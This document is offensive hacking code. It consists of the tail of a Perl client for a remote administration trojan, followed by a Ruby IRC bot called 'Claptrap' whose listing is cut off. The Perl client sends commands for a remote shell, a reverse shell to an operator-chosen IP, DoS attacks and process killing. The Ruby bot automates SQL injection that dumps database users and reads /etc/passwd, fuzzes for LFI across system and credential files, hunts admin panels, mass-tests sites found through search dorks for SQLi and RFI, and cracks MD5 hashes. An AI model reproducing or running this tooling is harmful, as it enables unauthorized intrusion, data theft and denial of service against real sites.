                show( $_[0], "/" );
            }
            goto menu1;
        }
    }

    elsif ( $opcion eq 3 ) {
        daryrecibir( $_[0], "opencd" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }

    elsif ( $opcion eq 4 ) {
        daryrecibir( $_[0], "closedcd" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }

    elsif ( $opcion eq 5 ) {
        print "\n\n[+] Talk : ";
        chomp( my $talk = <stdin> );
        $re = daryrecibir( $_[0], "speak :$talk:" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }

    elsif ( $opcion eq 6 ) {
        print "\n[+] Message : ";
        chomp( my $msg = <stdin> );
        daryrecibir( $_[0], "msgbox $msg" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 7 ) {

      menu:

        my $cmd, $re;

        print "\n\n>";

        chomp( my $cmd = <stdin> );

        if ( $cmd =~ /exit/ig ) {
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        $re = daryrecibir( $_[0], "comando :$cmd:" );
        print "\n" . $re;
        goto menu;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 8 ) {
        daryrecibir( $_[0], "iniciochau" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 9 ) {
        daryrecibir( $_[0], "iniciovuelve" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 10 ) {
        daryrecibir( $_[0], "iconochau" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 11 ) {
        daryrecibir( $_[0], "iconovuelve" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }

    elsif ( $opcion eq 12 ) {

        &reload( $_[0] );

        sub reload {

            my @pro;
            my @pids;

            my $sockex = new IO::Socket::INET(
                PeerAddr => $_[0],
                PeerPort => 666,
                Proto    => 'tcp',
                Timeout  => 5
            );

            print $sockex "mostrarpro" . "\r\n";
            $sockex->read( $re, 5000 );
            $sockex->close;

            chomp $re;

            print "\n\n[+] Process Found\n\n";

            while ( $re =~ /PROXEC(.*?)PROXEC/ig ) {
                if ( $1 ne "" ) {
                    push( @pro, $1 );
                }
            }

            while ( $re =~ /PIDX(.*?)PIDX/ig ) {
                if ( $1 ne "" ) {
                    push( @pids, $1 );
                }
            }

            $cantidad = int(@pro);

            for my $num ( 1 .. $cantidad ) {
                if ( $pro[$num] ne "" ) {
                    print "\n[+] Process : " . $pro[$num] . "\n";
                    print "[+] PID : " . $pids[$num] . "\n";
                }
            }

            print q(

[Options]


1 - Refresh list
2 - Close process
3 - Return to menu
 
);

            print "\n[Option] :  ";
            chomp( my $opc = <stdin> );

            if ( $opc =~ /1/ig ) {
                &reload( $_[0] );
            }
            elsif ( $opc =~ /2/ig ) {
                print "\n[+] Write the name of the process : ";
                chomp( my $numb = <stdin> );
                print "\n[+] Write the PID of the process : ";
                chomp( my $pid = <stdin> );
                $re = daryrecibir( $_[0],
                    "chauproce K0BRA" . $pid . "K0BRA" . $numb . "K0BRA" );
                if ( $re =~ /ok/ig ) {
                    print "\n\n[+] Proceso killed\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                }
                print "\n[+] Press any key to continue\n";
                <stdin>;
                &reload( $_[0] );
            }
            elsif ( $opc =~ /3/ig ) {
                print "\n[+] Press any key to continue\n";
                <stdin>;
                &menuo( $_[0] );
            }
            else {
                &reload;
            }
        }
    }

    elsif ( $opcion eq 13 ) {
        print "\n\n[+] IP : ";
        chomp( my $ip = <stdin> );
        print "\n\n[+] Port : ";
        chomp( my $port = <stdin> );
        print "\n\n[+] Connected !!!\n\n";
        $re = daryrecibir( $_[0], "backshell :$ip:$port:" );
    }
    elsif ( $opcion eq 14 ) {
        print "\n\n[+] IP : ";
        chomp( my $ipx = <stdin> );
        print "\n\n[+] Port : ";
        chomp( my $por = <stdin> );
        print "\n\n[+] Count : ";
        chomp( my $count = <stdin> );
        print "\n\n[+] Command Send !!!!\n\n";
        daryrecibir( $_[0], "dosattack :$ipx:$por:$count:" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 15 ) {
        print "\n\n[+] Image with format BMP : ";
        chomp( my $id = <stdin> );
        daryrecibir( $_[0], "cambiarfondo $id" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 16 ) {
        print "\n\n[+] Text : ";
        chomp( my $tx = <stdin> );
        daryrecibir( $_[0], "word :$tx:" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 17 ) {
        daryrecibir( $_[0], "crazymouse" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 18 ) {
        print "\n\n[Logs]\n\n";
        $re = daryrecibir( $_[0], "verlogs" );
        print $re. "\n\n";
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 19 ) {
        &menu;
    }
    elsif ( $opcion eq 20 ) {
        print "\n[+] Press any key to continue\n";
        <stdin>;
        exit 1;
    }
    else {
        &menuo;
    }
}

sub daryrecibir {

    my $sockex = new IO::Socket::INET(
        PeerAddr => $_[0],
        PeerPort => 666,
        Proto    => 'tcp',
        Timeout  => 5
    );

    print $sockex $_[1] . "\r\n";
    $sockex->read( $re, 5000 );
    $sockex->close;
    return $re . "\r";
}

sub show {

    my $re = daryrecibir( $_[0], "getcwd" . "\r\n" );
    print "\n\n[+] Directory : $re\n\n";
    $re1 = daryrecibir( $_[0], "dirnow ACATOY" . $re . "ACATOY" . "\r\n" );
    print "\n\n[Directories found]\n\n";
    while ( $re1 =~ /DIREX(.*?)DIREX/ig ) {
        if ( $1 ne "" ) {
            print "[+] $1\n";
        }
    }

    print "\n\n[Files found]\n\n";

    while ( $re1 =~ /FILEX(.*?)FILEX/ig ) {
        if ( $1 ne "" ) {
            print "[+] $1\n";
        }
    }

}

#The End ?

#!usr/bin/ruby
#Claptrap IRC Bot 0.5
#(C) Doddy Hackman 2015

require "socket"
require "open-uri"
require "net/http"  
require "resolv"
require "base64"
require "digest/md5"

$timeout = "1"

# Functions

def head()
	print "\n\n
  @@@@  @       @    @@@@@  @@@@@  @@@@@     @    @@@@@     @  @@@@@    @@@@
 @    @ @       @    @    @   @    @    @    @    @    @    @  @    @  @    @
 @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
 @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
 @      @     @   @  @@@@@    @    @@@@@   @   @  @@@@@     @  @@@@@   @    
 @      @     @   @  @        @    @    @  @   @  @         @  @    @  @    
 @      @     @@@@@  @        @    @    @  @@@@@  @         @  @    @  @    
 @    @ @    @     @ @        @    @    @ @     @ @         @  @    @  @    @
  @@@@  @@@@@@     @ @        @    @    @ @     @ @         @  @    @   @@@@ 
  \n\n"
end

def copyright()
	print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
end

#

# Functions ClapTrap

def get_ip(hostname)
	begin
		return Resolv.getaddress(hostname) 
	rescue
		return "Error"
	end
end

def toma(web)
	begin
		return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
	rescue
		return "Error"
	end
end

def response_code(web)
	begin
		return Net::HTTP.get_response(URI(web)) .code 
	rescue
		return "404"
	end
end

def tomar(web,arg)
	begin
		headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
		uri = URI(web)
		http = Net::HTTP.new(uri.host, uri.port)
		return http.post(uri.path,arg, headers).body
	rescue
		return "Error"
	end
end

def toma_ssl(web)
	uri = URI.parse(web)
	nave = Net::HTTP.new(uri.host, uri.port)
	nave.use_ssl = true
	nave.verify_mode = OpenSSL::SSL::VERIFY_NONE 
	return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
end

def cortar(pages)
	final = ""
	finales = []
	pages.flatten.each do |page|
		if page=~/(.*)=(.*)/
			parte1 = $1
			parte2 = $2
			final = parte1 + "="
			finales.push(final)
		end
	end
	return finales
end


def google(dork,pages)

	links = []
	dork = dork.sub(/ /,"+")
	contador = 0
	for i in ("1"..pages)
		contador+=10
		code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
		paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
		paginas.flatten.each do |pagina|
			partes = pagina
			if partes=~/url\?q=(.*)&amp;sa/
				parte = $1
				link = URI::decode(parte)
				links.push(link)
			end
		end
		end
		links = links.uniq
	return links
end

def google_recursive(dork,pages)
	dork = dork.sub(/ /,"+")
	contador = 0
	guardo = []
	for i in ("1"..pages)
		contador+=10
		url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
		code = toma_ssl(url)
		links = URI::extract(code)
		links.each do |link|
			if link=~/cache:(.*?):(.*?)\+/
				link_final = "http://"+$2
				link_final = URI::decode(link_final)
				guardo.push(link_final)
			end
		end
	end
	guardo = guardo.uniq
	return guardo
end

def bing(dork,pages)

	guardo = []
	dork = dork.sub(/ /,"+")
	contador = 0
	for i in ("1"..pages)
		contador+=10

		code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)

		links = code.scan(/<h2><a href="(.*?)" h/)

		links.flatten.each do |link|
			link_final = URI::decode(link)
			if not link_final=~/http:\/\/778802\.r\.msn\.com\//
				guardo.push(link_final)
			end
		end

		links = code.scan(/<h3><a href="(.*?)" h/)

		links.flatten.each do |link|
			link_final = URI::decode(link)
			if not link_final=~/http:\/\/778802\.r\.msn\.com\//
				guardo.push(link_final)
			end
		end
	end
	guardo = guardo.uniq
	return guardo
end

def bypass(op)
  if op=="--"
    return "+","--"
  elsif op=="/*"
   return "/**/","/**/"
  elsif op=="%20"
   return "%20","%00"
  else
   return "+","--"    
  end
end

def decode_hex(text)
  text = text.sub("0x","")
  return [text].pack('H*')
end

def encode_hex(text)
  return "0x"+text.unpack('H*')[0]
end

def httpfinger(page)
	respuesta = ""
	begin
		nave = Net::HTTP.start(page)
		headers = nave.head("/")
		headers.each do |name,value| 
			respuesta = respuesta + "[+] "+name+" : "+value+"\n"
		end
		nave.finish
	rescue
		respuesta = "Error"
	end
	return respuesta
end

##

def locateip(target)

	resultado = ""

	resultado = resultado + "\n[+] Getting IP ...\n"

	ip = get_ip(target)

	resultado = resultado + "\n[+] IP : "+ip+"\n"

	web = "http://www.melissadata.com/lookups/iplocation.asp"
	resultado = resultado + "\n[+] Locating ...\n\n"

	code = tomar(web,"ipaddress="+ip+"&btn=Submit")

	if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
		resultado = resultado + "[+] City : "+$2+"\n"
	else
		resultado = resultado + "[+] City : Not Found\n"
	end

	if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
		resultado = resultado + "[+] Country : "+$2+"\n"
	else
		resultado = resultado + "[+] Country : Not Found\n"
	end

	if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
		resultado = resultado + "[+] State or Region : "+$2+"\n";
	else
		resultado = resultado + "[+] State of Region : Not Found\n"
	end

	resultado = resultado + "\n[+] Getting DNS ...\n\n"

	control = "0"

	code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

	dnss = code.scan(/whois\/(.*?)\">Whois/)

	dnss.flatten.each do |dns|
		begin
			if dns != ""
				control = "1"
				resultado = resultado + "[+] DNS Found : "+dns
			end
		end
	end

	if control=="0"
		resultado = resultado + "\n[-] DNS Not Found\n"
	end
	return resultado
end

def details(url,by)
  pass1,pass2 = bypass(by)
  resultado = ""
  hextest = "0x2f6574632f706173737764" #/etc/passwd
  hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
  web1 = url.sub(/hackman/,"0x4b30425241")
  web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
  web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
   resultado = resultado + "\n[+] Extracting information of the DB\n"
  code1 = toma(web2)
  if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
    user,data,ver = $1,$2,$3
    resultado = resultado + "\n[+] Username : "+user
    resultado = resultado + "\n[+] Database : "+data
    resultado = resultado + "\n[+] Version : "+ver+"\n\n"
  else
    resultado = resultado + "[-] Not Found\n"
  end
   code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
   code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
   code4 = toma(web3)
   if code2=~/K0BRA/
     resultado = resultado + "[+] Mysql User : ON\n"
   end
   if code3=~/K0BRA/
     resultado = resultado + "[+] information_schema : ON\n"
   end
   if code4=~/ERTOR854/
     resultado = resultado + "[+] load_file : ON\n"
   end   
   return resultado
 end

def findlength(url,by)
  pass1,pass2 = bypass(by)
  z = "1"
  control = "0"
  resultado = ""
  resultado = resultado + "\n[+] Finding columns lenght ...\n\n"
  x = "concat(0x4b30425241,1,0x4b30425241)"
  for num in ('2'..'25')
    z = z+","+num
    x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
    code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
    if code=~/K0BRA(.*?)K0BRA/
      resultado = resultado + "[+] The Page has "+num+" columns\n"
      resultado = resultado + "[+] The number "+$1+" print data\n"
      z = z.sub($1,"hackman")
      sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
      control = "1"
      break
    end
  end
  if control != "1"
    resultado = resultado + "[-] Columns lenght not found\n"
  end
  return resultado,sqli,control
end

def scanner_sqli(page,by) 
  pass1,pass2 = bypass(by)
  resultado = ""
  rta1 = ""
  rta2 = ""
  resultado =  resultado + "[+] Testing vulnerability ...\n\n"
  codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
  codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
  if codeuno != codedos
    resultado = resultado + "[+] Vulnerable !\n"
    rta1,sqli,control = findlength(page,by)
    if control=="1"
     rta2 = details(sqli,"--")
    end
  else
    resultado = resultado + "[-] Not Vulnerable\n"
  end
  resultado = resultado + rta1 + rta2
  return resultado
end

def scanner_lfi(web)
	resultado = ""
	files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
	resultado = resultado + "[+] Testing the vulnerability LFI...\n\n"
	code = toma(web+"'")
	if code=~/No such file or directory in <b>(.*)<\/b> on line/
		fpd = $1
		resultado = resultado + "[+] LFI Detected\n\n"
		resultado = resultado + "[Full Path Discloure]: "+fpd+"\n"
		resultado = resultado + "\n[+] Fuzzing Files\n\n"
		files.each do |file|
			code = toma(web+file)
			if not code=~/No such file or directory in/
				resultado= resultado + "[Link] : "+web+file+"\n"
			end
		end
		resultado = resultado + "\n[+] Done\n"
	else
		resultado = resultado + "[-] Not Vulnerable to LFI\n\n"
	end
	return resultado
end

def scanner_panel(page)
	resultado = ""
	panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
	resultado = resultado + "[+] Scanning ...\n\n"
	control = "0"
	panels.each do |panel|
		begin
			url = page+"/"+panel
			status_code = response_code(url)
			if status_code=="200"
				resultado = resultado + "[+] Link : "+url+"\n"
				control = "1"
			end
		end
	end
	if control=="1"
		resultado = resultado + "\n[+] Done\n"
	else
		resultado = resultado + "\n[-] Not Found\n"
	end
	return resultado
end

def get_httpfinger(page)
	resultado = ""
        resultado = resultado + "[+] Searching ...\n\n"
	resultado = resultado + httpfinger(page)
	return resultado
end

def crack_md5(md5)
	resultado = ""
	resultado = resultado + "[+] Cracking ...\n\n"

	code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")

	if code=~/pass : <b>(.*?)<\/b>/
		password = $1
		resultado = resultado + "[+] md5online.net -> "+password+"\n" 
	else
		resultado = resultado + "[-] md5online.net -> Not Found" + "\n" 
	end
	
	code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)

	if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
		password = $1
		resultado = resultado + "[+] md5.my-addr.co -> "+password+"\n"
	else
		resultado = resultado + "[-] md5.my-addr.co -> Not Found" +"\n" 
	end

	code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")

	if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
		password = $1
		resultado = resultado + "[+] md5decryption.com -> "+password+"\n"
	else
		resultado = resultado +  "[-] md5decryption.com -> Not Found"+"\n"
	end
	
	return resultado

end

def tiny_url(page)
	resultado = ""
	code = toma("http://tinyurl.com/api-create.php?url="+page)
	if code=~/http/
		resultado = resultado + "[+] Link : "+code
	else
		resultado = resultado + "[-] Error"
	end
	return resultado
end

def codificar_hex(text)
	return "[+] Result : "+encode_hex(text)
end

def decodificar_hex(text)
	return "[+] Result : "+decode_hex(text)
end

def codificar_base64(text)
	return "[+] Result : "+Base64.encode64(text).chomp
end

def decodificar_base64(text)
	return "[+] Result : "+Base64.decode64(text).chomp
end

def codificar_ascii(text)
	resultado = ""
	resultado = resultado + "[+] Result : "+text.split("").map(&:ord).to_s
	return resultado
end

def md5_encode(text)
	return "[+] Result : "+Digest::MD5.hexdigest(text).chomp
end
	

def scanner_dns(domain)
  paths = ["www","www1","www2","www3","ftp","ns","mail","3com","aix","apache","back","bind","boreder","bsd","business","chains","cisco","content","corporate","cpv","dns","domino","dominoserver","download","e-mail","e-safe","email","esafe","external","extranet","firebox","firewall","front","fw","fw0","fwe","fw-1","firew","gate","gatekeeper","gateway","gauntlet","group","help","hop","hp","hpjet","hpux","http","https","hub","ibm","ids","info","inside","internal","internet","intranet","ipfw","irix","jet","list","lotus","lotusdomino","lotusnotes","lotusserver","mailfeed","mailgate","mailgateway","mailgroup","mailhost","maillist","mailpop","mailrelay","mimesweeper","ms","msproxy","mx","nameserver","news","newsdesk","newsfeed","newsgroup","newsroom","newsserver","nntp","notes","noteserver","notesserver","nt","outside","pix","pop","pop3","pophost","popmail","popserver","print","printer","private","proxy","proxyserver","public","qpop","raptor","read","redcreek","redhat","route","router","scanner","screen","screening","ecure","seek","smail","smap","smtp","smtpgateway","smtpgw","solaris","sonic","spool","squid","sun","sunos","suse","switch","transfer","trend","trendmicro","vlan","vpn","wall","web","webmail","webserver","webswitch","win2000","win2k","upload","file","fileserver","storage","backup","share","core","gw","wingate","main","noc","home","radius","security","access","dmz","domain","sql","mysql","mssql","postgres","db","database","imail","imap","exchange","sendmail","louts","test","logs","stage","staging","dev","devel","ppp","chat","irc","eng","admin","unix","linux","windows","apple","hp-ux","bigip","pc"]
  resultado = ""
  resultado = resultado + "[+] Searching DNS ...\n\n"
  control = "0"
  paths.each do |path|
		begin
			url = "http://"+path+"."+domain

			status_code = response_code(url)
			if status_code=="200"
				resultado = resultado + "[+] Link : "+url+"\n"
				control = "1"
			end
		end
  end

  if control=="1"
	resultado = resultado + "\n[+] Done\n"
  else
	resultado = resultado + "\n[-] Not Found\n"
  end

  return resultado
  
end

def sqli_finder(dork,pages,opcion)

	resultado = ""

	if opcion=="bing"
		
		resultado = resultado + "[+] Searching in Bing ...\n\n"
		
		links = cortar(bing(dork,pages))

		resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"

		if links.count.to_s=="0"
			resultado = resultado + "[-] Links not found\n"
		end

		links.flatten.each do |link|
			resultado = resultado + "[+] Link : "+link
			begin
				url = toma(link + "-1+union+select+1--")
				if url=~/The used SELECT statements have a different number of columns/
					resultado = resultado + " [OK]\n"
				else
					resultado = resultado + " [FAIL]\n"
				end
			rescue
				resultado = resultado + " [FAIL]\n"
			end
		end
	
		resultado = resultado + "\n[+] Finished\n"
	
	elsif opcion=="google"
		
		resultado = resultado + "[+] Searching in Google ...\n\n"
		
		links = cortar(google(dork,pages))

		if links.count.to_s=="0"
			resultado = resultado + "[+] Searching in Google again ...\n\n"
			links = cortar(google_recursive(dork,pages))
		end

		resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
	
		if links.count.to_s=="0"
			resultado = resultado + "[-] Links not found"
		end

		links.flatten.each do |link|
			resultado = resultado + "[+] Link : "+link
			begin
				url = toma(link + "-1+union+select+1--")
				if url=~/The used SELECT statements have a different number of columns/
					resultado = resultado + " [OK]\n"
				else
					resultado = resultado + " [FAIL]\n"
				end
			rescue
				resultado = resultado + " [FAIL]\n"
			end
		end
	else
	 resultado = "[-] Bad Option"
	 end
	return resultado
end

def rfi_finder(dork,pages,opcion)

	resultado = ""

	if opcion=="bing"
		
		resultado = resultado + "[+] Searching in Bing ...\n\n"
		
		links = cortar(bing(dork,pages))

		resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"

		if links.count.to_s=="0"
			resultado = resultado + "[-] Links not found\n"
		end

		links.flatten.each do |link|
			resultado = resultado + "[+] Link : "+link
			begin
				url = toma(link + "http://www.supertangas.com/")
				if url=~/Los mejores TANGAS de la red/i
					resultado = resultado + " [OK]\n"
				else
					resultado = resultado + " [FAIL]\n"
				end
			rescue
				resultado = resultado + " [FAIL]\n"
			end
		end
	
		resultado = resultado + "\n[+] Finished\n"
	
	elsif opcion=="google"
		
		resultado = resultado + "[+] Searching in Google ...\n\n"
		
		links = cortar(google(dork,pages))

		if links.count.to_s=="0"
			resultado = resultado + "[+] Searching in Google again ...\n\n"
			links = cortar(google_recursive(dork,pages))
		end

		resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
	
		if links.count.to_s=="0"
			resultado = resultado + "[-] Links not found"
		end

		links.flatten.each do |link|
			resultado = resultado + "[+] Link : "+link
			begin
				url = toma(link + "http://www.supertangas.com/")
				if url=~/Los mejores TANGAS de la red/i
					resultado = resultado + " [OK]\n"
				else
					resultado = resultado + " [FAIL]\n"
				end
			rescue
				resultado = resultado + " [FAIL]\n"
			end
		end
	else
	 resultado = "[-] Bad Option"
	 end
	return resultado
end

#

def respuesta(to,texto)
resultado = texto.split("\n")
resultado.flatten.each do |linea|
	if linea != ""
		 $irc.print "PRIVMSG #{to} #{linea}\n"
		 sleep $timeout.to_i
	end
end
end

def bot_online(host,port,canal,admin)
  print "\n[+] Connecting ...\n"
  begin
    $irc = TCPSocket.open(host,port)
  rescue 
    print "\n[-] Error connecting\n"
  else 
    nick = "ClapTrap"
    $irc.print "NICK "+nick+"\r\n"
    $irc.print "USER "+nick+" 1 1 1 1\r\n"
    $irc.print "JOIN #{canal}\r\n"
